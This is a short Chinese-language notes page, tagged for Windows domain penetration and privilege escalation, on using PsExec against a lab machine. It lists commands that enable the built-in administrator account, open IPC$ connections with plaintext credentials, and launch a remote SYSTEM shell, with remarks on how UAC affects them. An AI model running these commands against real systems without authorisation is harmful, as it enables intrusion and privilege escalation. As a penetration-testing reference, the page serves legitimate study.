# PsExec 使用 ###### tags: `Windows 域滲透` `window提權` ### 注意 win7 x64 我測試完全不行連接,網上的答案也不行,但 32位元可以 ## 開啟UAC情況下 UAC 狀態下只有administrator 可以不用被檢測。 對方電腦如果打開UAC,還需要開啟administrator帳戶 需要已下指令: ``` net user administrator /active:yes ``` 請注意 PsExec 位元以及版本都可能影響造成無法連接。 ### 常用指令: ``` # 先刪除所有連接 net use * /del # 空連接 因為UAC開啟 所以需要 administrator net use \\192.168.43.217\ipc$ "admin" /user:administrator # 空連接後可以 -s 拿到 system 帳戶 # -accepteula 確保不會彈出確認對話框 .\PsExec.exe -accepteula \\192.168.43.217 -s cmd.exe # 不加 -s 可以拿到 administrator .\PsExec.exe -accepteula \\192.168.43.217 cmd.exe # 沒有空連接的話,也可直接輸入帳密 # 2.30+ 需要在命令行中添加 -i 選項! #-i 運行程序,以便它與遠程系統上指定會話的桌面進行交互。 如果未指定會話,則進程在控制台會話中運行。 嘗試以交互方式運行控制台應用程序時需要此標誌(使用重定向的標準 IO)。 .\PsExec.exe \\192.168.43.217 -i -u administrator -p admin cmd.exe ``` ## 關閉UAC 的情況下: 你如果在UAC 開起情況下使用除了administrator,其他帳戶全部會無法連接 ### abc 為一般使用者 ``` # 先刪除所有連接 net use * /del # 空連接 net use \\192.168.43.217\ipc$ "abc" /user:abc 不加 -s 可以拿到 abc 一般帳戶 .\PsExec.exe -accepteula \\192.168.43.217 cmd.exe 空連接後可以 -s 一樣拿到 system 帳戶 .\PsExec.exe -accepteula \\192.168.43.217 -s cmd.exe ```